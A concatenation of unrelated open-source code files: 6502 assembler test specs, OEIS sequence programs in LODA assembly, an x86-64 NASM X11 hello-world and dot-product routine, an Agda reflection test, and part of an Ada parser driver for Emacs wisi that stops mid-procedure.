mov [ebp-20],eax
cmp dword ptr [ebp-20],2
je label0006
mov edx,7
mov eax,edx
add esp,44
pop ebp
ret
label0006:
mov edx,0
mov eax,edx
add esp,44
pop ebp
ret
_test endp
end
|
spec/assert_unsigned_greater_or_equal_spec.asm | andrzejsliwa/64spec | 53 | 173595 | <reponame>andrzejsliwa/64spec
.import source "64spec.asm"
.eval config_64spec("print_immediate_result", false)
sfspec: :init_spec()
:describe("assert_unsigned_greater_or_equal")
:it("works for edge cases"); {
:assert_unsigned_greater_or_equal #1: #0
:assert_unsigned_greater_or_equal #0: #1: _64SPEC.assertion_failed_subroutine: _64SPEC.assertion_passed_subroutine
:assert_unsigned_greater_or_equal #2: #1
:assert_unsigned_greater_or_equal #1: #2: _64SPEC.assertion_failed_subroutine: _64SPEC.assertion_passed_subroutine
:assert_unsigned_greater_or_equal #255: #0
:assert_unsigned_greater_or_equal #0: #255: _64SPEC.assertion_failed_subroutine: _64SPEC.assertion_passed_subroutine
:assert_unsigned_greater_or_equal #0: #0
:assert_unsigned_greater_or_equal #5: #5
:assert_unsigned_greater_or_equal #255: #255
}
:it("works for same values"); {
.for (var b = 0;b < 256; b++) {
:assert_unsigned_greater_or_equal #b: #b
}
}
:it("works for different values"); {
.var a = floor(random()*256)
.print "a = " + a + " in assert_equal test"
.for (var b = 0;b < 256; b++) {
.if (a > b) {
:assert_unsigned_greater_or_equal #a: #b
:assert_unsigned_greater_or_equal #b: #a: _64SPEC.assertion_failed_subroutine: _64SPEC.assertion_passed_subroutine
} else .if (a < b) {
:assert_unsigned_greater_or_equal #a: #b: _64SPEC.assertion_failed_subroutine: _64SPEC.assertion_passed_subroutine
:assert_unsigned_greater_or_equal #b: #a
}
}
}
:it("does not affect A register")
lda #5
:assert_unsigned_greater_or_equal #6: #4
:assert_unsigned_greater_or_equal #6: #6
:assert_unsigned_greater_or_equal #4: #6: _64SPEC.assertion_failed_subroutine: _64SPEC.assertion_passed_subroutine
:assert_a_equal #5
:it("does not affect X register")
ldx #5
:assert_unsigned_greater_or_equal #6: #4
:assert_unsigned_greater_or_equal #6: #6
:assert_unsigned_greater_or_equal #4: #6: _64SPEC.assertion_failed_subroutine: _64SPEC.assertion_passed_subroutine
:assert_x_equal #5
:it("does not affect Y register")
ldy #5
:assert_unsigned_greater_or_equal #6: #4
:assert_unsigned_greater_or_equal #6: #6
:assert_unsigned_greater_or_equal #4: #6: _64SPEC.assertion_failed_subroutine: _64SPEC.assertion_passed_subroutine
:assert_y_equal #5
:it("does not affect Status register")
php
pla
sta tmp
pha
plp
:assert_unsigned_greater_or_equal #6: #4
:assert_unsigned_greater_or_equal #6: #6
:assert_unsigned_greater_or_equal #4: #6: _64SPEC.assertion_failed_subroutine: _64SPEC.assertion_passed_subroutine
:assert_p_equal tmp
:finish_spec()
.pc = * "Data"
tmp:
.byte 0
|
oeis/108/A108215.asm | neoneye/loda-programs | 11 | 8351 | ; A108215: 4-almost primes equal to the product of two successive semiprimes.
; Submitted by <NAME>
; 24,54,90,140,210,315,462,550,650,858,1122,1190,1330,1482,1794,2254,2499,2805,3135,3306,3596,4030,4485,5106,5698,6314,6970,7310,7482,7917,8463,8742,8930,10070,11766,12765,13570,14042,14399,14762,15006,15867,17157,17822,18894,20022,20306,20735,21170,22630,24490,25122,25599,26726,28054,29913,31506,32574,33855,34595,36278,38994,40602,41006,41615,42230,43054,44517,45582,46010,46655,47306,47742,48399,49946,53110,55695,58539,61503,62997,64262,65786,67858,69430,70755,73158,76172,79786,82943,84099,85845
mov $2,$0
mov $3,2
lpb $3
mov $0,$2
add $1,$4
sub $3,1
add $0,$3
max $0,0
seq $0,88707 ; Semiprimes + 1.
sub $0,1
mov $4,$0
lpe
mul $1,$0
mov $0,$1
|
programs/oeis/067/A067273.asm | neoneye/loda | 22 | 19565 | <gh_stars>10-100
; A067273: a(n) = n*(a(n-1)*2+1), a(0) = 0.
; 0,1,6,39,316,3165,37986,531811,8508984,153161721,3063234430,67391157471,1617387779316,42052082262229,1177458303342426,35323749100272795,1130359971208729456,38432239021096801521
mul $0,2
mov $2,$0
lpb $0
sub $0,2
add $1,$2
mul $2,$0
lpe
div $1,2
mov $0,$1
|
oeis/059/A059556.asm | neoneye/loda-programs | 11 | 88532 | ; A059556: Beatty sequence for 1 + 1/gamma.
; Submitted by <NAME>(s4)
; 2,5,8,10,13,16,19,21,24,27,30,32,35,38,40,43,46,49,51,54,57,60,62,65,68,71,73,76,79,81,84,87,90,92,95,98,101,103,106,109,112,114,117,120,122,125,128,131,133,136,139,142,144,147,150,153,155,158,161,163,166,169,172,174,177,180,183,185,188,191,194,196,199,202,204,207,210,213,215,218,221,224,226,229,232,234,237,240,243,245,248,251,254,256,259,262,265,267,270,273
mov $4,$0
add $4,1
mov $7,$0
lpb $4
mov $0,$7
sub $4,1
sub $0,$4
mov $9,2
mov $10,0
mov $11,$0
lpb $9
mov $0,$11
mov $5,0
sub $9,1
add $0,$9
trn $0,1
add $0,1
mov $2,1
mov $3,$0
mul $3,4
lpb $3
add $5,$2
add $5,$2
add $1,$5
add $2,$1
mul $1,2
sub $3,1
lpe
mov $1,4
mul $5,3
add $1,$5
div $2,$0
mul $2,2
div $1,$2
mov $0,$1
mov $8,$9
mul $8,$1
add $10,$8
lpe
min $11,1
mul $11,$0
mov $0,$10
sub $0,$11
add $0,2
add $6,$0
lpe
mov $0,$6
|
ada.ads | nixdog/helloworld | 1 | 24685 | <filename>ada.ads
procedure Hello is
begin
Put_Line ("Hello, world!");
end Hello;
|
Examples/X11/x11hello.asm | agguro/linux-nasm | 6 | 80214 | ;name: x11hello
;description: a x11 windows with some text.
;build: nasm -felf64 -o x11hello.o x11hello.asm
; ld -g -melf_x86_64 x11hello.o -o x11hello -lc --dynamic-linker /lib64/ld-linux-x86-64.so.2 -lX11
;the XDisplay structure is derived from Xlib.h
struc XDISPLAY
.unknown1: resq 1 ; 0 XExtData* hook for extension to hang data
.private1: resq 1 ; 8 struct _XPrivate*
.fd: resd 1 ; 10 int Network socket
.private2: resd 1 ; 14 int
.proto_major_version: resd 1 ; 18 int - major version of server's X protocol
.proto_minor_version: resd 1 ; 1C int - minor version of servers X protocol
.vendor: resq 1 ; 20 char* - vendor of the server hardware
.private3: resq 1 ; 28 XID
.private4: resq 1 ; 30 XID
.private5: resq 1 ; 38 XID
.private6: resd 1 ; 40 int
.resource_alloc: resq 1 ; 44 XID - allocator function struct _XDisplay*
.byte_order: resd 1 ; 4C int - screen byte order, LSBFirst, MSBFirst
.bitmap_unit: resd 1 ; 50 int - padding and data requirements
.bitmap_pad: resd 1 ; 54 int - padding requirements on bitmaps
.bitmap_bit_order: resd 1 ; 58 int - LeastSignificant or MostSignificant
.nformats: resd 1 ; 5C int - number of pixmap formats in list
.pixmap_format: resq 1 ; 60 ScreenFormat* - pixmap format list
.private8: resd 1 ; 68 int
.release: resd 1 ; 6C int release of the server
.private9: resq 1 ; 70 struct _XPrivate*
.private10: resq 1 ; 78 struct _XPrivate*
.qlen: resd 1 ; 80 Length of input event queue
.last_request_read: resq 1 ; 84 seq number of last event read
.request: resq 1 ; 8C sequence number of last request
.private11: resq 1 ; 94 XPointer
.private12: resq 1 ; 9C XPointer
.private13: resq 1 ; A4 XPointer
.private14: resq 1 ; AC XPointer
.max_request_size: resd 1 ; B4 maximum number 32 bit words in request
.db: resq 1 ; B8 struct _XrmHashBucketRec*
.private15: resq 1 ; C0 int* - struct _XDisplay*
.display_name: resq 1 ; C8 char* - "host:display" string used on this connect
.default_screen: resd 1 ; D0 int - default screen for operations
.nscreens: resd 1 ; D4 int - number of screens on this server
.screens: resq 1 ; D8 Screen* - pointer to list of screens
.motion_buffer: resq 1 ; E0 size of motion buffer
.private16: resq 1 ; E8
.min_keycode: resd 1 ; F0 minimum defined keycode
.max_keycode: resd 1 ; F4 maximum defined keycode
.private17: resq 1 ; F8 XPointer
.private18: resq 1 ; 100 XPointer
.private19: resd 1 ; 108 int
.xdefaults: resq 1 ; 10C char* - contents of defaults from server
;there is more to this structure, but it is private to Xlib
endstruc
struc SCREEN
.ext_data: resq 1 ;XExtData* - hook for extension to hang data
.display: resq 1 ;struct _XDisplay* - back pointer to display structure
.root: resq 1 ;Window - Root window id.
.width: resd 1 ;int - width of screen
.height: resd 1 ;int - height of screen
.mwidth: resd 1 ;int width of in millimeters
.mheight: resd 1 ;int height of in millimeters
.ndepths: resd 1 ;int - number of depths possible
.depths: resq 1 ;Depth* - list of allowable depths on the screen
.root_depth: resd 1 ;int - bits per pixel
.root_visual: resq 1 ;Visual* - root visual
.default_gc: resq 1 ;GC - GC for the root root visual
.cmap: resq 1 ;Colormap - default color map
.white_pixel: resq 1 ;unsigned long - White pixel values
.black_pixel: resq 1 ;unsigned long - Black pixel values
.max_maps: resd 1 ;int - max color maps
.min_maps: resd 1 ;int - min color maps
.backing_store: resd 1 ;int - Never, WhenMapped, Always
.save_unders: resd 1 ;Bool
.root_input_mask: resd 1 ;long - initial root input mask
endstruc
%include "unistd.inc"
extern XOpenDisplay
extern XCreateSimpleWindow
extern XSelectInput
extern XMapWindow
extern XNextEvent
extern XFillRectangle
extern XDrawString
extern XCloseDisplay
%define ExposureMask 1 << 15
%define KeyPressMask 1 << 0
%define Expose 12
%define KeyPress 2
section .bss
d: resq 1 ;structure _XDisplay
w: resq 1 ;
e: resb 192 ;XEvent structure counts 192 bytes
gc: resq 1
rootwindow: resq 1
blackpixel: resq 1
whitepixel: resq 1
section .rodata
msg: db "Hello, World!"
.len: equ $-msg
section .data
s istruc SCREEN
at SCREEN.ext_data, dq 0 ;XExtData* - hook for extension to hang data
at SCREEN.display, dq 0 ;struct _XDisplay* - back pointer to display structure
at SCREEN.root, dq 0 ;Window - Root window id
at SCREEN.width, dd 0 ;int - width of screen
at SCREEN.height, dd 0 ;int - height of screen
at SCREEN.mwidth, dd 0 ;int width of in millimeters
at SCREEN.mheight, dd 0 ;int height of in millimeters
at SCREEN.ndepths, dd 0 ;int - number of depths possible
at SCREEN.depths, dq 0 ;Depth* - list of allowable depths on the screen
at SCREEN.root_depth, dd 0 ;int - bits per pixel
at SCREEN.root_visual, dq 0 ;Visual* - root visual
at SCREEN.default_gc, dq 0 ;GC - GC for the root root visual
at SCREEN.cmap, dq 0 ;Colormap - default color map
at SCREEN.white_pixel, dq 0 ;unsigned long - White pixel values
at SCREEN.black_pixel, dq 0 ;unsigned long - Black pixel values
at SCREEN.max_maps, dd 0 ;int - max color maps
at SCREEN.min_maps, dd 0 ;int - min color maps
at SCREEN.backing_store, dd 0 ;int - Never, WhenMapped, Always
at SCREEN.save_unders, dd 0 ;Bool
at SCREEN.root_input_mask, dd 0 ;long - initial root input mask
iend
section .text
; d = XOpenDisplay(NULL) - if NULL the we can't open a display
global _start
_start:
push rbp
mov rbp,rsp
sub rsp,8
xor rdi,rdi
call XOpenDisplay
add rsp,8
mov qword[d],rax
and rax,rax
jz errordisplay ;cannot open display
mov [d],rax
;default screen, blackpixel, whitepixel and rootwindow are parts of the display structure
; s = DefaultScreen(d);
mov rax,qword [d]
mov eax,dword [rax+0xe0]
mov rax,d
mov rax,[rax]
add rax,XDISPLAY.default_screen-XDISPLAY
mov eax,[rax]
mov dword [s],eax
;unsigned int r = RootWindow(d, s);
mov rax,qword [d]
mov rax,qword [rax+0xe8]
mov edx,dword [s]
shl rdx,0x7
add rax,rdx
mov rax,qword [rax+0x10]
mov qword [rootwindow],rax
;unsigned int bp = BlackPixel(d,s);
mov rax,qword [d]
mov rax,qword [rax+0xe8]
mov edx,dword [s]
shl rdx,0x7
add rax,rdx
mov rax,qword [rax+0x60]
mov qword [blackpixel],rax
;unsigned int wp = WhitePixel(d,s);
mov rax,qword [d]
mov rax,qword [rax+0xe8]
mov edx,dword [s]
shl rdx,0x7
add rax,rdx
mov rax,qword [rax+0x58]
mov qword [whitepixel],rax
;GC gc = DefaultGC(d,s);
mov rax,qword [d]
mov rax,qword [rax+0xe8]
mov edx,dword [s]
shl rdx,0x7
add rax,rdx
mov rax,qword [rax+0x48]
mov qword [gc],rax
; w = XCreateSimpleWindow(d, RootWindow(d, s), 10, 10, 100, 100, 1, BlackPixel(d, s), WhitePixel(d, s));
push qword[whitepixel]
push qword[blackpixel]
push qword 1
mov r9,100
mov r8,100
mov rcx,10
mov rdx,10
mov rsi,qword[rootwindow]
mov rdi,qword[d]
call XCreateSimpleWindow
mov qword[w],rax
add rsp,0x18
;XSelectInput(d, w, ExposureMask | KeyPressMask);
mov rdx,ExposureMask|KeyPressMask
mov rsi,qword[w]
mov rdi,qword[d]
call XSelectInput
;XMapWindow(d, w);
mov rsi,qword[w]
mov rdi,qword[d]
call XMapWindow
;
; while (1) {
.repeat:
; XNextEvent(d, &e);
sub rsp,8
mov rsi,e
mov rdi,qword[d]
call XNextEvent
add rsp,8
; if (e.type == Expose) {
mov eax,[e] ;e.type
cmp eax,Expose
jnz .nexttype
;XFillRectangle(d, w, DefaultGC(d, s), 20, 20, 10, 10);
sub rsp,8
push 10
mov r9d,10
mov r8d,20
mov ecx,20
mov rdx,[gc]
mov rsi,[w]
mov rdi,[d]
call XFillRectangle
add rsp,16
; XDrawString(d, w, DefaultGC(d, s), 10, 50, msg, strlen(msg));
sub rsp,8
push qword msg.len
mov r9,msg
mov r8,50
mov rcx,10
mov rdx,[gc]
mov rsi,qword[w]
mov rdi,[d]
call XDrawString
add rsp,16
jmp .repeat
; if (e.type == KeyPress)
.nexttype:
cmp eax,KeyPress
je .break
jmp .repeat
.break:
mov rdi,qword[d]
call XCloseDisplay
errordisplay:
xor rdi,rdi
syscall exit,0
|
lib/LiveUpdate/hotswap64_blob.asm | KristianJerpetjon/IncludeOS | 5 | 244598 | <reponame>KristianJerpetjon/IncludeOS
;; This file is a part of the IncludeOS unikernel - www.includeos.org
;;
;; Copyright 2017 IncludeOS AS, Oslo, Norway
;;
;; Licensed under the Apache License, Version 2.0 (the "License");
;; you may not use this file except in compliance with the License.
;; You may obtain a copy of the License at
;;
;; http:;;www.apache.org/licenses/LICENSE-2.0
;;
;; Unless required by applicable law or agreed to in writing, software
;; distributed under the License is distributed on an "AS IS" BASIS,
;; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
;; See the License for the specific language governing permissions and
;; limitations under the License.
global hotswap64
global hotswap64_len
SECTION .text
hotswap64:
incbin "hotswap64.bin"
hotswap64_len:
dd $ - hotswap64
|
test/Succeed/Issue1890b.agda | redfish64/autonomic-agda | 0 | 14330 | <filename>test/Succeed/Issue1890b.agda
module _ where
open import Common.Prelude hiding (_>>=_)
open import Common.Reflection
open import Common.Equality
module _ (A : Set) where
record R : Set where
`R₀ : Type
`R₀ = def (quote R) []
`R₁ : Term → Type
`R₁ a = def (quote R) (vArg a ∷ [])
`Nat : Type
`Nat = def (quote Nat) []
_`→_ : Type → Type → Type
a `→ b = pi (vArg a) (abs "x" b)
helper-type₀ : Type
helper-type₀ = `R₀ `→ `R₀
helper-type₁ : Type
helper-type₁ = `R₁ `Nat `→ `R₁ `Nat
helper-term : Term
helper-term = var 0 []
helper-patterns : List (Arg Pattern)
helper-patterns = vArg (var "_") ∷
[]
defineHelper : Type → TC ⊤
defineHelper t =
freshName "n" >>= λ n →
declareDef (vArg n) t >>= λ _ →
defineFun n (clause helper-patterns helper-term ∷ [])
noFail : TC ⊤ → TC Bool
noFail m = catchTC (bindTC m λ _ → returnTC true) (returnTC false)
mac : Type → Tactic
mac t hole =
noFail (defineHelper t) >>= λ b →
quoteTC b >>= unify hole
macro
mac₀ : Tactic
mac₀ = mac helper-type₀
mac₁ : Tactic
mac₁ = mac helper-type₁
within-module-succeeds₀ : mac₀ ≡ true
within-module-succeeds₀ = refl
within-module-fails₁ : mac₁ ≡ false
within-module-fails₁ = refl
outside-module-fails₀ : mac₀ Nat ≡ false
outside-module-fails₀ = refl
outside-module-succeeds₁ : mac₁ Nat ≡ true
outside-module-succeeds₁ = refl
|
dotProduct/dotProduct.asm | KyleErwin/Assembly | 0 | 16706 | segment .data
fmt db "The dot product of (%.2f,%.2f) and (%.2f,%.2f) is: (%.2f)", 0xa, 0
segment .text
global dotProduct
extern printf
;An assembly function to
; 1. Accepts 6 oating point inputs (X1,X2,Xnorm,Y1,Y2,Ynorm)
; 2. Normalize these inputs by dividing each coordinate with the vector's norm.
; 3. Calculate and display the dot product of the two normalised vectors.
;And is called by a c program
dotProduct:
push rbp
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; MAKE IT TWO DECIMEL PLACES ;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
movss xmm15, xmm0
cvtss2sd xmm0, xmm15
movss xmm15, xmm1
cvtss2sd xmm1, xmm15
movss xmm15, xmm2
cvtss2sd xmm2, xmm15
movss xmm15, xmm3
cvtss2sd xmm3, xmm15
movss xmm15, xmm4
cvtss2sd xmm4, xmm15
movss xmm15, xmm5
cvtss2sd xmm5, xmm15
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; STORE THE INPUTS FOR LATER ;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
movsd xmm10, xmm0 ;X1 parameter is xmm0
movsd xmm11, xmm1 ;X2 parameter is xmm1
movsd xmm12, xmm2 ;Xnorm parameter is xmm2
movsd xmm13, xmm3 ;Y1 parameter is xmm3
movsd xmm14, xmm4 ;Y2 parameter is xmm4
movsd xmm15, xmm5 ;Ynorm parameter is xmm5
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; NORMALIZE THE INPUTS ;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;We're going to normalise the X1 and X2 varaibles by dividing them by Xnorm
divsd xmm0, xmm2
divsd xmm1, xmm2
;Same thing with the Y inputs
divsd xmm3, xmm5
divsd xmm4, xmm5
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; CALCULATE DOT PRODUCT ;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;X1 * Y1 stored in xmm0
mulsd xmm0, xmm3
;X2 * Y2 stored in xmm1
mulsd xmm1, xmm4
;Add the two, stored in xmm0
addsd xmm0, xmm1
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; CALL PRINTF WITH RESULT ;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;Store the result, overwrite Ynorm since we don't need it
movsd xmm15, xmm0
;Move the format of the output
mov rdi, fmt
mov rax, 5
;"The dot product of (X1,X2)
movsd xmm0, xmm10
movsd xmm1, xmm11
;and (Y1,Y2)
movsd xmm2, xmm13
movsd xmm3, xmm14
;is: (result)".
movsd xmm4, xmm15
call printf
pop rbp
mov rax, 1
ret |
core/genBlock.asm | cristoferfb/columns | 0 | 16607 | generate_block:
call procedure_delay ; Generamos un numero aleatorio
mov bl,0x6 ; entre [0,5] este sera el color
call procedure_generate_random_number ; de una de las secciones de una
; pieza
inc al ; Aumentamos su valor en 1 para
mov [block_color_1],al ; que no salga el "color" negro
call procedure_delay
mov bl,0x6
call procedure_generate_random_number
inc al
mov [block_color_2],al
call procedure_delay
mov bl,0x6
call procedure_generate_random_number
inc al
mov [block_color_3],al
ret
use_block:
push ax
; Movemos los colores guardados
; y los asignamos al bloque actual
mov al, byte [block_color_1]
mov byte [cblock_color_1], al
mov al, byte [block_color_2]
mov byte [cblock_color_2], al
mov al, byte [block_color_3]
mov byte [cblock_color_3], al
pop ax
ret
new_block:
; Comprobamos si es posible dibujar
; un nuevo bloque de ser asi
; se asigna su posicion inicial
mov ah,02h
xor bh,bh
mov dh,8
mov dl,18
int 10h
mov ah,08h
int 10h
cmp al,178
je quit ; De lo contratio game overs
mov [block_x],dl
mov [oblock_x],dl
mov [block_y],dh
mov [oblock_y],dh
mov al,[lv_count]
inc al
mov [lv_count],al
cmp al,5
je lv_up
ret
lv_up:
mov al,[slowness]
cmp al,1
je no_lv_up
dec al
mov [slowness],al
mov byte [lv_count],0
ret
no_lv_up:
ret
quit:
mov ah,00h ; Terminamos la
int 21h ; aplicacion
|
.emacs.d/elpa/wisi-2.2.1/emacs_wisi_common_parse.adb | caqg/linux-home | 0 | 19891 | -- Abstract :
--
-- See spec.
--
-- Copyright (C) 2018 - 2019 Free Software Foundation, Inc.
--
-- This program is free software; you can redistribute it and/or
-- modify it under terms of the GNU General Public License as
-- published by the Free Software Foundation; either version 3, or (at
-- your option) any later version. This program is distributed in the
-- hope that it will be useful, but WITHOUT ANY WARRANTY; without even
-- the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR
-- PURPOSE. See the GNU General Public License for more details. You
-- should have received a copy of the GNU General Public License
-- distributed with this program; see file COPYING. If not, write to
-- the Free Software Foundation, 51 Franklin Street, Suite 500, Boston,
-- MA 02110-1335, USA.
pragma License (GPL);
with Ada.Command_Line;
with Ada.Directories;
with Ada.Exceptions;
with Ada.Strings.Fixed;
with Ada.Text_IO;
with GNAT.OS_Lib;
with GNAT.Traceback.Symbolic;
with SAL;
with System.Multiprocessors;
with System.Storage_Elements;
with WisiToken.Lexer;
package body Emacs_Wisi_Common_Parse is
procedure Usage (Name : in String)
is
use Ada.Text_IO;
begin
Put_Line ("usage: " & Name & "[--recover-log <file-name>]");
Put_Line ("enters a loop waiting for commands:");
Put_Line ("Prompt is '" & Prompt & "'");
Put_Line ("commands are case sensitive");
Put_Line ("See wisi-process-parse.el *--send-parse, *--send-noop for arguments.");
end Usage;
procedure Read_Input (A : System.Address; N : Integer)
is
use System.Storage_Elements;
B : System.Address := A;
Remaining : Integer := N;
Read : Integer;
begin
-- We use GNAT.OS_Lib because it does not buffer input, so it runs
-- under Emacs nicely; GNAT Text_IO does not return text until
-- some fairly large buffer is filled.
--
-- With GNAT GPL 2016, GNAT.OS_Lib.Read does _not_ wait for all N
-- bytes or EOF; it returns as soon as it gets some bytes.
loop
Read := GNAT.OS_Lib.Read (GNAT.OS_Lib.Standin, B, Remaining);
if Read = 0 then
-- Pipe closed; probably parent Emacs crashed. Force exit.
raise SAL.Programmer_Error with "input pipe closed";
end if;
Remaining := Remaining - Read;
exit when Remaining <= 0;
B := B + Storage_Offset (Read);
end loop;
end Read_Input;
function Get_Command_Length return Integer
is
Temp : aliased String (1 .. 3) := (others => ' '); -- initialize for error message
begin
Read_Input (Temp'Address, Temp'Length);
return Integer'Value (Temp);
exception
when Constraint_Error =>
-- From Integer'Value
raise Protocol_Error with "invalid command byte count; '" & Temp & "'";
end Get_Command_Length;
function Get_String
(Source : in String;
Last : in out Integer)
return String
is
use Ada.Strings.Fixed;
First : constant Integer := Index
(Source => Source,
Pattern => """",
From => Last + 1);
begin
Last := Index
(Source => Source,
Pattern => """",
From => First + 1);
if First = 0 or Last = 0 then
raise Protocol_Error with "no '""' found for string";
end if;
return Source (First + 1 .. Last - 1);
end Get_String;
function Get_Integer
(Source : in String;
Last : in out Integer)
return Integer
is
use Ada.Strings.Fixed;
First : constant Integer := Last + 2; -- final char of previous item, space
begin
Last := Index
(Source => Source,
Pattern => " ",
From => First);
if Last = 0 then
Last := Source'Last;
else
Last := Last - 1;
end if;
return Integer'Value (Source (First .. Last));
exception
when others =>
Ada.Text_IO.Put_Line ("bad integer '" & Source (First .. Source'Last) & "'");
raise;
end Get_Integer;
function Get_Process_Start_Params return Process_Start_Params
is
use Ada.Command_Line;
procedure Put_Usage
is
use Ada.Text_IO;
begin
Put_Line (Standard_Error, "process start args:");
Put_Line (Standard_Error, "--help : put this help");
Put_Line (Standard_Error, "--recover-log <file_name> : log recover actions to file");
end Put_Usage;
Next_Arg : Integer := 1;
begin
return Result : Process_Start_Params do
loop
exit when Next_Arg > Argument_Count;
if Next_Arg <= Argument_Count and then Argument (Next_Arg) = "--help" then
Put_Usage;
raise Finish;
elsif Next_Arg + 1 <= Argument_Count and then Argument (Next_Arg) = "--recover-log" then
Result.Recover_Log_File_Name := Ada.Strings.Unbounded.To_Unbounded_String (Argument (Next_Arg + 1));
Next_Arg := Next_Arg + 2;
end if;
end loop;
end return;
end Get_Process_Start_Params;
function Get_Parse_Params (Command_Line : in String; Last : in out Integer) return Parse_Params
is
use WisiToken;
begin
return Result : Parse_Params do
-- We don't use an aggregate, to enforce execution order.
-- Match wisi-process-parse.el wisi-process--send-parse
Result.Post_Parse_Action := Wisi.Post_Parse_Action_Type'Val (Get_Integer (Command_Line, Last));
Result.Source_File_Name := +Get_String (Command_Line, Last);
Result.Begin_Byte_Pos := Get_Integer (Command_Line, Last);
-- Emacs end is after last char.
Result.End_Byte_Pos := Get_Integer (Command_Line, Last) - 1;
Result.Goal_Byte_Pos := Get_Integer (Command_Line, Last);
Result.Begin_Char_Pos := WisiToken.Buffer_Pos (Get_Integer (Command_Line, Last));
Result.Begin_Line := WisiToken.Line_Number_Type (Get_Integer (Command_Line, Last));
Result.End_Line := WisiToken.Line_Number_Type (Get_Integer (Command_Line, Last));
Result.Begin_Indent := Get_Integer (Command_Line, Last);
Result.Partial_Parse_Active := 1 = Get_Integer (Command_Line, Last);
Result.Debug_Mode := 1 = Get_Integer (Command_Line, Last);
Result.Parse_Verbosity := Get_Integer (Command_Line, Last);
Result.McKenzie_Verbosity := Get_Integer (Command_Line, Last);
Result.Action_Verbosity := Get_Integer (Command_Line, Last);
Result.McKenzie_Disable := Get_Integer (Command_Line, Last);
Result.Task_Count := Get_Integer (Command_Line, Last);
Result.Check_Limit := Get_Integer (Command_Line, Last);
Result.Enqueue_Limit := Get_Integer (Command_Line, Last);
Result.Max_Parallel := Get_Integer (Command_Line, Last);
Result.Byte_Count := Get_Integer (Command_Line, Last);
end return;
end Get_Parse_Params;
function Get_Refactor_Params (Command_Line : in String; Last : in out Integer) return Refactor_Params
is
use WisiToken;
begin
return Result : Refactor_Params do
-- We don't use an aggregate, to enforce execution order.
-- Match wisi-process-parse.el wisi-process--send-refactor
Result.Refactor_Action := Get_Integer (Command_Line, Last);
Result.Source_File_Name := +Get_String (Command_Line, Last);
Result.Parse_Region.First := WisiToken.Buffer_Pos (Get_Integer (Command_Line, Last));
Result.Parse_Region.Last := WisiToken.Buffer_Pos (Get_Integer (Command_Line, Last) - 1);
Result.Edit_Begin := WisiToken.Buffer_Pos (Get_Integer (Command_Line, Last));
Result.Parse_Begin_Char_Pos := WisiToken.Buffer_Pos (Get_Integer (Command_Line, Last));
Result.Parse_Begin_Line := WisiToken.Line_Number_Type (Get_Integer (Command_Line, Last));
Result.Parse_End_Line := WisiToken.Line_Number_Type (Get_Integer (Command_Line, Last));
Result.Debug_Mode := 1 = Get_Integer (Command_Line, Last);
Result.Parse_Verbosity := Get_Integer (Command_Line, Last);
Result.Action_Verbosity := Get_Integer (Command_Line, Last);
Result.Max_Parallel := Get_Integer (Command_Line, Last);
Result.Byte_Count := Get_Integer (Command_Line, Last);
end return;
end Get_Refactor_Params;
procedure Process_Stream
(Name : in String;
Language_Protocol_Version : in String;
Partial_Parse_Active : in out Boolean;
Params : in Process_Start_Params;
Parser : in out WisiToken.Parse.LR.Parser.Parser;
Parse_Data : in out Wisi.Parse_Data_Type'Class;
Descriptor : in WisiToken.Descriptor)
is
use Ada.Text_IO;
use WisiToken; -- "+", "-" Unbounded_string
procedure Cleanup
is begin
if Is_Open (Parser.Recover_Log_File) then
Close (Parser.Recover_Log_File);
end if;
end Cleanup;
begin
declare
use Ada.Directories;
use Ada.Strings.Unbounded;
begin
if Length (Params.Recover_Log_File_Name) > 0 then
Put_Line (";; logging to '" & (-Params.Recover_Log_File_Name) & "'");
-- to Current_Output, visible from Emacs
if Exists (-Params.Recover_Log_File_Name) then
Open (Parser.Recover_Log_File, Append_File, -Params.Recover_Log_File_Name);
else
Create (Parser.Recover_Log_File, Out_File, -Params.Recover_Log_File_Name);
end if;
end if;
end;
Parser.Trace.Set_Prefix (";; "); -- so debug messages don't confuse Emacs.
Put_Line
(Name & " protocol: process version " & Protocol_Version & " language version " & Language_Protocol_Version);
-- Read commands and tokens from standard_input via GNAT.OS_Lib,
-- send results to standard_output.
loop
Put (Prompt); Flush;
declare
Command_Length : constant Integer := Get_Command_Length;
Command_Line : aliased String (1 .. Command_Length);
Last : Integer;
function Match (Target : in String) return Boolean
is begin
Last := Command_Line'First + Target'Length - 1;
return Last <= Command_Line'Last and then Command_Line (Command_Line'First .. Last) = Target;
end Match;
begin
Read_Input (Command_Line'Address, Command_Length);
Put_Line (";; " & Command_Line);
if Match ("parse") then
-- Args: see wisi-process-parse.el wisi-process-parse--send-parse
-- Input: <source text>
-- Response:
-- [response elisp vector]...
-- [elisp error form]...
-- prompt
declare
Params : constant Parse_Params := Get_Parse_Params (Command_Line, Last);
Buffer : Ada.Strings.Unbounded.String_Access;
procedure Clean_Up
is
use all type SAL.Base_Peek_Type;
begin
Parser.Lexer.Discard_Rest_Of_Input;
if Parser.Parsers.Count > 0 then
Parse_Data.Put
(Parser.Lexer.Errors,
Parser.Parsers.First.State_Ref.Errors,
Parser.Parsers.First.State_Ref.Tree);
end if;
Ada.Strings.Unbounded.Free (Buffer);
end Clean_Up;
begin
Trace_Parse := Params.Parse_Verbosity;
Trace_McKenzie := Params.McKenzie_Verbosity;
Trace_Action := Params.Action_Verbosity;
Debug_Mode := Params.Debug_Mode;
Partial_Parse_Active := Params.Partial_Parse_Active;
if WisiToken.Parse.LR.McKenzie_Defaulted (Parser.Table.all) then
-- There is no McKenzie information; don't override that.
null;
elsif Params.McKenzie_Disable = -1 then
-- Use default
Parser.Enable_McKenzie_Recover := True;
else
